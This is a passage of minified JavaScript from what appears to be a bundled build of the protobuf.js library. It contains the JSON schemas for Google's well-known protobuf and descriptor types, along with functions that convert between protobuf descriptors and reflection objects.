wc7;NS("duration",{Duration:wc7={fields:{seconds:{type:"int64",id:1},nanos:{type:"int32",id:2}}}});NS("timestamp",{Timestamp:wc7});NS("empty",{Empty:{fields:{}}});NS("struct",{Struct:{fields:{fields:{keyType:"string",type:"Value",id:1}}},Value:{oneofs:{kind:{oneof:["nullValue","numberValue","stringValue","boolValue","structValue","listValue"]}},fields:{nullValue:{type:"NullValue",id:1},numberValue:{type:"double",id:2},stringValue:{type:"string",id:3},boolValue:{type:"bool",id:4},structValue:{type:"Struct",id:5},listValue:{type:"ListValue",id:6}}},NullValue:{values:{NULL_VALUE:0}},ListValue:{fields:{values:{rule:"repeated",type:"Value",id:1}}}});NS("wrappers",{DoubleValue:{fields:{value:{type:"double",id:1}}},FloatValue:{fields:{value:{type:"float",id:1}}},Int64Value:{fields:{value:{type:"int64",id:1}}},UInt64Value:{fields:{value:{type:"uint64",id:1}}},Int32Value:{fields:{value:{type:"int32",id:1}}},UInt32Value:{fields:{value:{type:"uint32",id:1}}},BoolValue:{fields:{value:{type:"bool",id:1}}},StringValue:{fields:{value:{type:"string",id:1}}},BytesValue:{fields:{value:{type:"bytes",id:1}}}});NS("field_mask",{FieldMask:{fields:{paths:{rule:"repeated",type:"string",id:1}}}});NS.get=function(K){return NS[K]||null}});var zj1=v((EEH,Oc7)=>{var $t=Oc7.exports=od7();$t.build="full";$t.tokenize=Bk6();$t.parse=zc7();$t.common=Jc7();$t.Root._configure($t.Type,$t.parse,$t.common)});var gk6=v((kEH,c92)=>{c92.exports={nested:{google:{nested:{protobuf:{options:{go_package:"google.golang.org/protobuf/types/descriptorpb",java_package:"com.google.protobuf",java_outer_classname:"DescriptorProtos",csharp_namespace:"Google.Protobuf.Reflection",objc_class_prefix:"GPB",cc_enable_arenas:!0,optimize_for:"SPEED"},nested:{FileDescriptorSet:{edition:"proto2",fields:{file:{rule:"repeated",type:"FileDescriptorProto",id:1}},extensions:[[536000000,536000000]]},Edition:{edition:"proto2",values:{EDITION_UNKNOWN:0,EDITION_LEGACY:900,EDITION_PROTO2:998,EDITION_PROTO3:999,EDITION_2023:1000,EDITION_2024:1001,EDITION_1_TEST_ONLY:1,EDITION_2_TEST_ONLY:2,EDITION_99997_TEST_ONLY:99997,EDITION_99998_TEST_ONLY:99998,EDITION_99999_TEST_ONLY:99999,EDITION_MAX:2147483647}},FileDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},package:{type:"string",id:2},dependency:{rule:"repeated",type:"string",id:3},publicDependency:{rule:"repeated",type:"int32",id:10},weakDependency:{rule:"repeated",type:"int32",id:11},optionDependency:{rule:"repeated",type:"string",id:15},messageType:{rule:"repeated",type:"DescriptorProto",id:4},enumType:{rule:"repeated",type:"EnumDescriptorProto",id:5},service:{rule:"repeated",type:"ServiceDescriptorProto",id:6},extension:{rule:"repeated",type:"FieldDescriptorProto",id:7},options:{type:"FileOptions",id:8},sourceCodeInfo:{type:"SourceCodeInfo",id:9},syntax:{type:"string",id:12},edition:{type:"Edition",id:14}}},DescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},field:{rule:"repeated",type:"FieldDescriptorProto",id:2},extension:{rule:"repeated",type:"FieldDescriptorProto",id:6},nestedType:{rule:"repeated",type:"DescriptorProto",id:3},enumType:{rule:"repeated",type:"EnumDescriptorProto",id:4},extensionRange:{rule:"repeated",type:"ExtensionRange",id:5},oneofDecl:{rule:"repeated",type:"OneofDescriptorProto",id:8},options:{type:"MessageOptions",id:7},reservedRange:{rule:"repeated",type:"ReservedRange",id:9},reservedName:{rule:"repeated",type:"string",id:10},visibility:{type:"SymbolVisibility",id:11}},nested:{ExtensionRange:{fields:{start:{type:"int32",id:1},end:{type:"int32",id:2},options:{type:"ExtensionRangeOptions",id:3}}},ReservedRange:{fields:{start:{type:"int32",id:1},end:{type:"int32",id:2}}}}},ExtensionRangeOptions:{edition:"proto2",fields:{uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999},declaration:{rule:"repeated",type:"Declaration",id:2,options:{retention:"RETENTION_SOURCE"}},features:{type:"FeatureSet",id:50},verification:{type:"VerificationState",id:3,options:{default:"UNVERIFIED",retention:"RETENTION_SOURCE"}}},extensions:[[1000,536870911]],nested:{Declaration:{fields:{number:{type:"int32",id:1},fullName:{type:"string",id:2},type:{type:"string",id:3},reserved:{type:"bool",id:5},repeated:{type:"bool",id:6}},reserved:[[4,4]]},VerificationState:{values:{DECLARATION:0,UNVERIFIED:1}}}},FieldDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},number:{type:"int32",id:3},label:{type:"Label",id:4},type:{type:"Type",id:5},typeName:{type:"string",id:6},extendee:{type:"string",id:2},defaultValue:{type:"string",id:7},oneofIndex:{type:"int32",id:9},jsonName:{type:"string",id:10},options:{type:"FieldOptions",id:8},proto3Optional:{type:"bool",id:17}},nested:{Type:{values:{TYPE_DOUBLE:1,TYPE_FLOAT:2,TYPE_INT64:3,TYPE_UINT64:4,TYPE_INT32:5,TYPE_FIXED64:6,TYPE_FIXED32:7,TYPE_BOOL:8,TYPE_STRING:9,TYPE_GROUP:10,TYPE_MESSAGE:11,TYPE_BYTES:12,TYPE_UINT32:13,TYPE_ENUM:14,TYPE_SFIXED32:15,TYPE_SFIXED64:16,TYPE_SINT32:17,TYPE_SINT64:18}},Label:{values:{LABEL_OPTIONAL:1,LABEL_REPEATED:3,LABEL_REQUIRED:2}}}},OneofDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},options:{type:"OneofOptions",id:2}}},EnumDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},value:{rule:"repeated",type:"EnumValueDescriptorProto",id:2},options:{type:"EnumOptions",id:3},reservedRange:{rule:"repeated",type:"EnumReservedRange",id:4},reservedName:{rule:"repeated",type:"string",id:5},visibility:{type:"SymbolVisibility",id:6}},nested:{EnumReservedRange:{fields:{start:{type:"int32",id:1},end:{type:"int32",id:2}}}}},EnumValueDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},number:{type:"int32",id:2},options:{type:"EnumValueOptions",id:3}}},ServiceDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},method:{rule:"repeated",type:"MethodDescriptorProto",id:2},options:{type:"ServiceOptions",id:3}}},MethodDescriptorProto:{edition:"proto2",fields:{name:{type:"string",id:1},inputType:{type:"string",id:2},outputType:{type:"string",id:3},options:{type:"MethodOptions",id:4},clientStreaming:{type:"bool",id:5},serverStreaming:{type:"bool",id:6}}},FileOptions:{edition:"proto2",fields:{javaPackage:{type:"string",id:1},javaOuterClassname:{type:"string",id:8},javaMultipleFiles:{type:"bool",id:10},javaGenerateEqualsAndHash:{type:"bool",id:20,options:{deprecated:!0}},javaStringCheckUtf8:{type:"bool",id:27},optimizeFor:{type:"OptimizeMode",id:9,options:{default:"SPEED"}},goPackage:{type:"string",id:11},ccGenericServices:{type:"bool",id:16},javaGenericServices:{type:"bool",id:17},pyGenericServices:{type:"bool",id:18},deprecated:{type:"bool",id:23},ccEnableArenas:{type:"bool",id:31,options:{default:!0}},objcClassPrefix:{type:"string",id:36},csharpNamespace:{type:"string",id:37},swiftPrefix:{type:"string",id:39},phpClassPrefix:{type:"string",id:40},phpNamespace:{type:"string",id:41},phpMetadataNamespace:{type:"string",id:44},rubyPackage:{type:"string",id:45},features:{type:"FeatureSet",id:50},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]],reserved:[[42,42],[38,38],"php_generic_services"],nested:{OptimizeMode:{values:{SPEED:1,CODE_SIZE:2,LITE_RUNTIME:3}}}},MessageOptions:{edition:"proto2",fields:{messageSetWireFormat:{type:"bool",id:1},noStandardDescriptorAccessor:{type:"bool",id:2},deprecated:{type:"bool",id:3},mapEntry:{type:"bool",id:7},deprecatedLegacyJsonFieldConflicts:{type:"bool",id:11,options:{deprecated:!0}},features:{type:"FeatureSet",id:12},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]],reserved:[[4,4],[5,5],[6,6],[8,8],[9,9]]},FieldOptions:{edition:"proto2",fields:{ctype:{type:"CType",id:1,options:{default:"STRING"}},packed:{type:"bool",id:2},jstype:{type:"JSType",id:6,options:{default:"JS_NORMAL"}},lazy:{type:"bool",id:5},unverifiedLazy:{type:"bool",id:15},deprecated:{type:"bool",id:3},weak:{type:"bool",id:10,options:{deprecated:!0}},debugRedact:{type:"bool",id:16},retention:{type:"OptionRetention",id:17},targets:{rule:"repeated",type:"OptionTargetType",id:19},editionDefaults:{rule:"repeated",type:"EditionDefault",id:20},features:{type:"FeatureSet",id:21},featureSupport:{type:"FeatureSupport",id:22},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]],reserved:[[4,4],[18,18]],nested:{CType:{values:{STRING:0,CORD:1,STRING_PIECE:2}},JSType:{values:{JS_NORMAL:0,JS_STRING:1,JS_NUMBER:2}},OptionRetention:{values:{RETENTION_UNKNOWN:0,RETENTION_RUNTIME:1,RETENTION_SOURCE:2}},OptionTargetType:{values:{TARGET_TYPE_UNKNOWN:0,TARGET_TYPE_FILE:1,TARGET_TYPE_EXTENSION_RANGE:2,TARGET_TYPE_MESSAGE:3,TARGET_TYPE_FIELD:4,TARGET_TYPE_ONEOF:5,TARGET_TYPE_ENUM:6,TARGET_TYPE_ENUM_ENTRY:7,TARGET_TYPE_SERVICE:8,TARGET_TYPE_METHOD:9}},EditionDefault:{fields:{edition:{type:"Edition",id:3},value:{type:"string",id:2}}},FeatureSupport:{fields:{editionIntroduced:{type:"Edition",id:1},editionDeprecated:{type:"Edition",id:2},deprecationWarning:{type:"string",id:3},editionRemoved:{type:"Edition",id:4}}}}},OneofOptions:{edition:"proto2",fields:{features:{type:"FeatureSet",id:1},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]]},EnumOptions:{edition:"proto2",fields:{allowAlias:{type:"bool",id:2},deprecated:{type:"bool",id:3},deprecatedLegacyJsonFieldConflicts:{type:"bool",id:6,options:{deprecated:!0}},features:{type:"FeatureSet",id:7},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]],reserved:[[5,5]]},EnumValueOptions:{edition:"proto2",fields:{deprecated:{type:"bool",id:1},features:{type:"FeatureSet",id:2},debugRedact:{type:"bool",id:3},featureSupport:{type:"FieldOptions.FeatureSupport",id:4},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]]},ServiceOptions:{edition:"proto2",fields:{features:{type:"FeatureSet",id:34},deprecated:{type:"bool",id:33},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]]},MethodOptions:{edition:"proto2",fields:{deprecated:{type:"bool",id:33},idempotencyLevel:{type:"IdempotencyLevel",id:34,options:{default:"IDEMPOTENCY_UNKNOWN"}},features:{type:"FeatureSet",id:35},uninterpretedOption:{rule:"repeated",type:"UninterpretedOption",id:999}},extensions:[[1000,536870911]],nested:{IdempotencyLevel:{values:{IDEMPOTENCY_UNKNOWN:0,NO_SIDE_EFFECTS:1,IDEMPOTENT:2}}}},UninterpretedOption:{edition:"proto2",fields:{name:{rule:"repeated",type:"NamePart",id:2},identifierValue:{type:"string",id:3},positiveIntValue:{type:"uint64",id:4},negativeIntValue:{type:"int64",id:5},doubleValue:{type:"double",id:6},stringValue:{type:"bytes",id:7},aggregateValue:{type:"string",id:8}},nested:{NamePart:{fields:{namePart:{rule:"required",type:"string",id:1},isExtension:{rule:"required",type:"bool",id:2}}}}},FeatureSet:{edition:"proto2",fields:{fieldPresence:{type:"FieldPresence",id:1,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_2023","edition_defaults.value":"EXPLICIT"}},enumType:{type:"EnumType",id:2,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_PROTO3","edition_defaults.value":"OPEN"}},repeatedFieldEncoding:{type:"RepeatedFieldEncoding",id:3,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_PROTO3","edition_defaults.value":"PACKED"}},utf8Validation:{type:"Utf8Validation",id:4,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_PROTO3","edition_defaults.value":"VERIFY"}},messageEncoding:{type:"MessageEncoding",id:5,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_LEGACY","edition_defaults.value":"LENGTH_PREFIXED"}},jsonFormat:{type:"JsonFormat",id:6,options:{retention:"RETENTION_RUNTIME",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2023","edition_defaults.edition":"EDITION_PROTO3","edition_defaults.value":"ALLOW"}},enforceNamingStyle:{type:"EnforceNamingStyle",id:7,options:{retention:"RETENTION_SOURCE",targets:"TARGET_TYPE_METHOD","feature_support.edition_introduced":"EDITION_2024","edition_defaults.edition":"EDITION_2024","edition_defaults.value":"STYLE2024"}},defaultSymbolVisibility:{type:"VisibilityFeature.DefaultSymbolVisibility",id:8,options:{retention:"RETENTION_SOURCE",targets:"TARGET_TYPE_FILE","feature_support.edition_introduced":"EDITION_2024","edition_defaults.edition":"EDITION_2024","edition_defaults.value":"EXPORT_TOP_LEVEL"}}},extensions:[[1000,9994],[9995,9999],[1e4,1e4]],reserved:[[999,999]],nested:{FieldPresence:{values:{FIELD_PRESENCE_UNKNOWN:0,EXPLICIT:1,IMPLICIT:2,LEGACY_REQUIRED:3}},EnumType:{values:{ENUM_TYPE_UNKNOWN:0,OPEN:1,CLOSED:2}},RepeatedFieldEncoding:{values:{REPEATED_FIELD_ENCODING_UNKNOWN:0,PACKED:1,EXPANDED:2}},Utf8Validation:{values:{UTF8_VALIDATION_UNKNOWN:0,VERIFY:2,NONE:3}},MessageEncoding:{values:{MESSAGE_ENCODING_UNKNOWN:0,LENGTH_PREFIXED:1,DELIMITED:2}},JsonFormat:{values:{JSON_FORMAT_UNKNOWN:0,ALLOW:1,LEGACY_BEST_EFFORT:2}},EnforceNamingStyle:{values:{ENFORCE_NAMING_STYLE_UNKNOWN:0,STYLE2024:1,STYLE_LEGACY:2}},VisibilityFeature:{fields:{},reserved:[[1,536870911]],nested:{DefaultSymbolVisibility:{values:{DEFAULT_SYMBOL_VISIBILITY_UNKNOWN:0,EXPORT_ALL:1,EXPORT_TOP_LEVEL:2,LOCAL_ALL:3,STRICT:4}}}}}},FeatureSetDefaults:{edition:"proto2",fields:{defaults:{rule:"repeated",type:"FeatureSetEditionDefault",id:1},minimumEdition:{type:"Edition",id:4},maximumEdition:{type:"Edition",id:5}},nested:{FeatureSetEditionDefault:{fields:{edition:{type:"Edition",id:3},overridableFeatures:{type:"FeatureSet",id:4},fixedFeatures:{type:"FeatureSet",id:5}},reserved:[[1,1],[2,2],"features"]}}},SourceCodeInfo:{edition:"proto2",fields:{location:{rule:"repeated",type:"Location",id:1}},extensions:[[536000000,536000000]],nested:{Location:{fields:{path:{rule:"repeated",type:"int32",id:1,options:{packed:!0}},span:{rule:"repeated",type:"int32",id:2,options:{packed:!0}},leadingComments:{type:"string",id:3},trailingComments:{type:"string",id:4},leadingDetachedComments:{rule:"repeated",type:"string",id:6}}}}},GeneratedCodeInfo:{edition:"proto2",fields:{annotation:{rule:"repeated",type:"Annotation",id:1}},nested:{Annotation:{fields:{path:{rule:"repeated",type:"int32",id:1,options:{packed:!0}},sourceFile:{type:"string",id:2},begin:{type:"int32",id:3},end:{type:"int32",id:4},semantic:{type:"Semantic",id:5}},nested:{Semantic:{values:{NONE:0,SET:1,ALIAS:2}}}}}},SymbolVisibility:{edition:"proto2",values:{VISIBILITY_UNSET:0,VISIBILITY_LOCAL:1,VISIBILITY_EXPORT:2}}}}}}}}});var Dc7=v((F3,Wc7)=>{var Xv=zj1();Wc7.exports=F3=Xv.descriptor=Xv.Root.fromJSON(gk6()).lookup(".google.protobuf");var{Namespace:Xc7,Root:XFA,Enum:zd,Type:xB,Field:_t,MapField:l92,OneOf:wj1,Service:$FA,Method:Hj1}=Xv;XFA.fromDescriptor=function(K){if(typeof K.length==="number")K=F3.FileDescriptorSet.decode(K);var q=new XFA;if(K.file){var Y,z;for(var w=0,H;w<K.file.length;++w){if(z=q,(Y=K.file[w]).package&&Y.package.length)z=q.define(Y.package);var J=KY2(Y);if(Y.name&&Y.name.length)q.files.push(z.filename=Y.name);if(Y.messageType)for(H=0;H<Y.messageType.length;++H)z.add(xB.fromDescriptor(Y.messageType[H],J));if(Y.enumType)for(H=0;H<Y.enumType.length;++H)z.add(zd.fromDescriptor(Y.enumType[H],J));if(Y.extension)for(H=0;H<Y.extension.length;++H)z.add(_t.fromDescriptor(Y.extension[H],J));if(Y.service)for(H=0;H<Y.service.length;++H)z.add($FA.fromDescriptor(Y.service[H],J));var O=GjA(Y.options,F3.FileOptions);if(O){var X=Object.keys(O);for(H=0;H<X.length;++H)z.setOption(X[H],O[X[H]])}}}return q.resolveAll()};XFA.prototype.toDescriptor=function(K){var q=F3.FileDescriptorSet.create();return $c7(this,q.file,K),q};function $c7(A,K,q){var Y=F3.FileDescriptorProto.create({name:A.filename||(A.fullName.substring(1).replace(/\./g,"_")||"root")+".proto"});if(qY2(q,Y),!(A instanceof XFA))Y.package=A.fullName.substring(1);for(var z=0,w;z<A.nestedArray.length;++z)if((w=A._nestedArray[z])instanceof xB)Y.messageType.push(w.toDescriptor(q));else if(w instanceof zd)Y.enumType.push(w.toDescriptor());else if(w instanceof _t)Y.extension.push(w.toDescriptor(q));else if(w instanceof $FA)Y.service.push(w.toDescriptor());else if(w instanceof Xc7)$c7(w,K,q);if(Y.options=ZjA(A.options,F3.FileOptions),Y.messageType.length+Y.enumType.length+Y.extension.length+Y.service.length)K.push(Y)}var i92=0;xB.fromDescriptor=function(K,q,Y){if(typeof K.length==="number")K=F3.DescriptorProto.decode(K);var z=new xB(K.name.length?K.name:"Type"+i92++,GjA(K.options,F3.MessageOptions)),w;if(!Y)z._edition=q;if(K.oneofDecl)for(w=0;w<K.oneofDecl.length;++w)z.add(wj1.fromDescriptor(K.oneofDecl[w]));if(K.field)for(w=0;w<K.field.length;++w){var H=_t.fromDescriptor(K.field[w],q,!0);if(z.add(H),K.field[w].hasOwnProperty("oneofIndex"))z.oneofsArray[K.field[w].oneofIndex].add(H)}if(K.extension)for(w=0;w<K.extension.length;++w)z.add(_t.fromDescriptor(K.extension[w],q,!0));if(K.nestedType){for(w=0;w<K.nestedType.length;++w)if(z.add(xB.fromDescriptor(K.nestedType[w],q,!0)),K.nestedType[w].options&&K.nestedType[w].options.mapEntry)z.setOption("map_entry",!0)}if(K.enumType)for(w=0;w<K.enumType.length;++w)z.add(zd.fromDescriptor(K.enumType[w],q,!0));if(K.extensionRange&&K.extensionRange.length){z.extensions=[];for(w=0;w<K.extensionRange.length;++w)z.extensions.push([K.extensionRange[w].start,K.extensionRange[w].end])}if(K.reservedRange&&K.reservedRange.length||K.reservedName&&K.reservedName.length){if(z.reserved=[],K.reservedRange)for(w=0;w<K.reservedRange.length;++w)z.reserved.push([K.reservedRange[w].start,K.reservedRange[w].end]);if(K.reservedName)for(w=0;w<K.reservedName.length;++w)z.reserved.push(K.reservedName[w])}return z};xB.prototype.toDescriptor=function(K){var q=F3.DescriptorProto.create({name:this.name}),Y;for(Y=0;Y<this.fieldsArray.length;++Y){var z;if(q.field.push(z=this._fieldsArray[Y].toDescriptor(K)),this._fieldsArray[Y]instanceof l92){var w=Fk6(this._fieldsArray[Y].keyType,this._fieldsArray[Y].resolvedKeyType,!1),H=Fk6(this._fieldsArray[Y].type,this._fieldsArray[Y].resolvedType,!1),J=H===11||H===14?this._fieldsArray[Y].resolvedType&&Zc7(this.parent,this._fieldsArray[Y].resolvedType)||this._fieldsArray[Y].type:void 0;q.nestedType.push(F3.DescriptorProto.create({name:z.typeName,field:[F3.FieldDescriptorProto.create({name:"key",number:1,label:1,type:w}),F3.FieldDescriptorProto.create({name:"value",number:2,label:1,type:H,typeName:J})],options:F3.MessageOptions.create({mapEntry:!0})}))}}for(Y=0;Y<this.oneofsArray.length;++Y)q.oneofDecl.push(this._oneofsArray[Y].toDescriptor());for(Y=0;Y<this.nestedArray.length;++Y)if(this._nestedArray[Y]instanceof _t)q.field.push(this._nestedArray[Y].toDescriptor(K));else if(this._nestedArray[Y]instanceof xB)q.nestedType.push(this._nestedArray[Y].toDescriptor(K));else if(this._nestedArray[Y]instanceof zd)q.enumType.push(this._nestedArray[Y].toDescriptor());if(this.extensions)for(Y=0;Y<this.extensions.length;++Y)q.extensionRange.push(F3.DescriptorProto.ExtensionRange.create({start:this.extensions[Y][0],end:this.extensions[Y][1]}));if(this.reserved)for(Y=0;Y<this.reserved.length;++Y)if(typeof this.reserved[Y]==="string")q.reservedName.push(this.reserved[Y]);else q.reservedRange.push(F3.DescriptorProto.ReservedRange.create({start:this.reserved[Y][0],end:this.reserved[Y][1]}));return q.options=ZjA(this.options,F3.MessageOptions),q};var n92=/^(?![eE])[0-9]*(?:\.[0-9]*)?(?:[eE][+-]?[0-9]+)?$/;_t.fromDescriptor=function(K,q,Y){if(typeof K.length==="number")K=F3.DescriptorProto.decode(K);if(typeof K.number!=="number")throw Error("missing field id");var z;if(K.typeName&&K.typeName.length)z=K.typeName;else z=t92(K.type);var w;switch(K.label){case 1:w=void 0;break;case 2:w="required";break;case 3:w="repeated";break;default:throw Error("illegal label: "+K.label)}var H=K.extendee;if(K.extendee!==void 0)H=H.length?H:void 0;var J=new _t(K.name.length?K.name:"field"+K.number,K.number,z,w,H);if(!Y)J._edition=q;if(J.options=GjA(K.options,F3.FieldOptions),K.proto3_optional)J.options.proto3_optional=!0;if(K.defaultValue&&K.defaultValue.length){var O=K.defaultValue;switch(O){case"true":case"TRUE":O=!0;break;case"false":case"FALSE":O=!1;break;default:var X=n92.exec(O);if(X)O=parseInt(O);break}J.setOption("default",O)}if(e92(K.type)){if(q==="proto3"){if(K.options&&!K.options.packed)J.setOption("packed",!1)}else if((!q||q==="proto2")&&K.options&&K.options.packed)J.setOption("packed",!0)}return J};_t.prototype.toDescriptor=function(K){var q=F3.FieldDescriptorProto.create({name:this.name,number:this.id});if(this.map)q.type=11,q.typeName=Xv.util.ucFirst(this.name),q.label=3;else{switch(q.type=Fk6(this.type,this.resolve().resolvedType,this.delimited)){case 10:case 11:case 14:q.typeName=this.resolvedType?Zc7(this.parent,this.resolvedType):this.type;break}if(this.rule==="repeated")q.label=3;else if(this.required&&K==="proto2")q.label=2;else q.label=1}if(q.extendee=this.extensionField?this.extensionField.parent.fullName:this.extend,this.partOf){if((q.oneofIndex=this.parent.oneofsArray.indexOf(this.partOf))<0)throw Error("missing oneof")}if(this.options){if(q.options=ZjA(this.options,F3.FieldOptions),this.options.default!=null)q.defaultValue=String(this.options.default);if(this.options.proto3_optional)q.proto3_optional=!0}if(K==="proto3"){if(!this.packed)(q.options||(q.options=F3.FieldOptions.create())).packed=!1}else if((!K||K==="proto2")&&this.packed)(q.options||(q.options=F3.FieldOptions.create())).packed=!0;return q};var r92=0;zd.fromDescriptor=function(K,q,Y){if(typeof K.length==="number")K=F3.EnumDescriptorProto.decode(K);var z={};if(K.value)for(var w=0;w<K.value.length;++w){var H=K.value[w].name,J=K.value[w].number||0;z[H&&H.length?H:"NAME"+J]=J}var O=new zd(K.name&&K.name.length?K.name:"Enum"+r92++,z,GjA(K.options,F3.EnumOptions));if(!Y)O._edition=q;return O};zd.prototype.toDescriptor=function(){var K=[];for(var q=0,Y=Object.keys(this.values);q<Y.length;++q)K.push(F3.EnumValueDescriptorProto.create({name:Y[q],number:this.values[Y[q]]}));return F3.EnumDescriptorProto.create({name:this.name,value:K,options:ZjA(this.options,F3.EnumOptions)})};var o92=0;wj1.fromDescriptor=function(K){if(typeof K.length==="number")K=F3.OneofDescriptorProto.decode(K);return new wj1(K.name&&K.name.length?K.name:"oneof"+o92++)};wj1.prototype.toDescriptor=function(){return F3.OneofDescriptorProto.create({name:this.name})};var a92=0;$FA.fromDescriptor=function(K,q,Y){if(typeof K.length==="number")K=F3.ServiceDescriptorProto.decode(K);var z=new $FA(K.name&&K.name.length?K.name:"Service"+a92++,GjA(K.options,F3.ServiceOptions));if(!Y)z._edition=q;if(K.method)for(var w=0;w<K.method.length;++w)z.add(Hj1.fromDescriptor(K.method[w]));return z};$FA.prototype.toDescriptor=function(){var K=[];for(var q=0;q<this.methodsArray.length;++q)K.push(this._methodsArray[q].toDescriptor());return F3.ServiceDescriptorProto.create({name:this.name,method:K,options:ZjA(this.options,F3.ServiceOptions)})};var s92=0;Hj1.fromDescriptor=function(K){if(typeof K.length==="number")K=F3.MethodDescriptorProto.decode(K);return new Hj1(K.name&&K.name.length?K.name:"Method"+s92++,"rpc",K.inputType,K.outputType,Boolean(K.clientStreaming),Boolean(K.serverStreaming),GjA(K.options,F3.MethodOptions))};Hj1.prototype.toDescriptor=function(){return F3.MethodDescriptorProto.create({name:this.name,inputType:this.resolvedRequestType?this.resolvedRequestType.fullName:this.requestType,outputType:this.resolvedResponseType?this.resolvedResponseType.fullName:this.responseType,clientStreaming:this.requestStream,serverStreaming:this.responseStream,options:ZjA(this.options,F3.MethodOptions)})};function t92(A){switch(A){case 1:return"double";case 2:return"float";case 3:return"int64";case 4:return"uint64";case 5:return"int32";case 6:return"fixed64";case 7:return"fixed32";case 8:return"bool";case 9:return"string";case 12:return"bytes";case 13:return"uint32";case 15:return"sfixed32";case 16:return"sfixed64";case 17:return"sint32";case 18:return"sint64"}throw Error("illegal type: "+A)}function e92(A){switch(A){case 1:case 2:case 3:case 4:case 5:case 6:case 7:case 8:case 13:case 14:case 15:case 16:case 17:case 18:return!0}return!1}function Fk6(A,K,q){switch(A){case"double":return 1;case"float":return 2;case"int64":return 3;case"uint64":return 4;case"int32":return 5;case"fixed64":return 6;case"fixed32":return 7;case"bool":return 8;case"string":return 9;case"bytes":return 12;case"uint32":return 13;case"sfixed32":return 15;case"sfixed64":return 16;case"sint32":return 17;case"sint64":return 18}if(K instanceof zd)return 14;if(K instanceof xB)return q?10:11;throw Error("illegal type: "+A)}function _c7(A,K){var q={};for(var Y=0,z,w;Y<K.fieldsArray.length;++Y){if((w=(z=K._fieldsArray[Y]).name)==="uninterpretedOption")continue;if(!Object.prototype.hasOwnProperty.call(A,w))continue;var H=AY2(w);if(z.resolvedType instanceof xB)q[H]=_c7(A[w],z.resolvedType);else if(z.resolvedType instanceof zd)q[H]=z.resolvedType.valuesById[A[w]];else q[H]=A[w]}return q}function GjA(A,K){if(!A)return;return _c7(K.toObject(A),K)}function Gc7(A,K){var q={},Y=Object.keys(A);for(var z=0;z<Y.length;++z){var w=Y[z],H=Xv.util.camelCase(w);if(!Object.prototype.hasOwnProperty.call(K.fields,H))continue;var J=K.fields[H];if(J.resolvedType instanceof xB)q[H]=Gc7(A[w],J.resolvedType);else q[H]=A[w];if(J.repeated&&!Array.isArray(q[H]))q[H]=[q[H]]}return q}function ZjA(A,K){if(!A)return;return K.fromObject(Gc7(A,K))}function Zc7(A,K){var q=A.fullName.split("."),Y=K.fullName.split("."),z=0,w=0,H=Y.length-1;if(!(A instanceof XFA)&&K instanceof Xc7)while(z<q.length&&w<H&&q[z]===Y[w]){var J=K.lookup(q[z++],!0);if(J!==null&&J!==K)break;++w}else for(;z<q.length&&w<H&&q[z]===Y[w];++z,++w);return Y.slice(w).join(".")}function AY2(A){return A.substring(0,1)+A.substring(1).replace(/([A-Z])(?=[a-z]|$)/g,function(K,q){return"_"+q.toLowerCase()})}function KY2(A){if(A.syntax==="editions")switch(A.edition){case F3.Edition.EDITION_2023:return"2023";default:throw Error("Unsupported edition "+A.edition)}if(A.syntax==="proto3")return"proto3";return"proto2"}function qY2(A,K){if(!A)return;if(A==="proto2"||A==="proto3")K.syntax=A;else switch(K.syntax="editions",A){case"2023":K.edition=F3.Edition.EDITION_2023;break;default:throw Error("Unsupported edition "+A)}}});var jc7=v((CEH,YY2)=>{YY2.exports={nested:{google:{nested:{protobuf:{nested:{Api:{fields:{name:{type:"string",id:1},methods:{rule:"repeated",type:"Method",id:2},options:{rule:"repeated",type:"Option",id:3},version:{type:"string",id:4},sourceContext:{type:"SourceContext",id:5},mixins:{rule:"repeated",type:"Mixin",id:6},syntax:{type:"Syntax",id:7}}},Method:{fields:{name:{type:"string",id:1},requestTypeUrl:{type:"string",id:2},requestStreaming:{type:"bool",id:3},responseTypeUrl:{type:"string",id:4},responseStreaming:{type:"bool",id:5},options:{rule:"repeated",type:"Option",id:6},syntax:{type:"Syntax",id:7}}},Mixin:{fields:{name:{type:"string",id:1},root:{type:"string",id:2}}},SourceContext:{fields:{fileName:{type:"string",id:1}}},Option:{fields:{name:{type:"string",id:1},value:{type:"Any",id:2}}},Syntax:{values:{SYNTAX_PROTO2:0,SYNTAX_PROTO3:1}}}}}}}}});var Mc7=v((LEH,zY2)=>{zY2.exports={nested:{google:{nested:{protobuf:{nested:{SourceContext:{fields:{fileName:{type:"string",id:1}}}}}}}}}});var 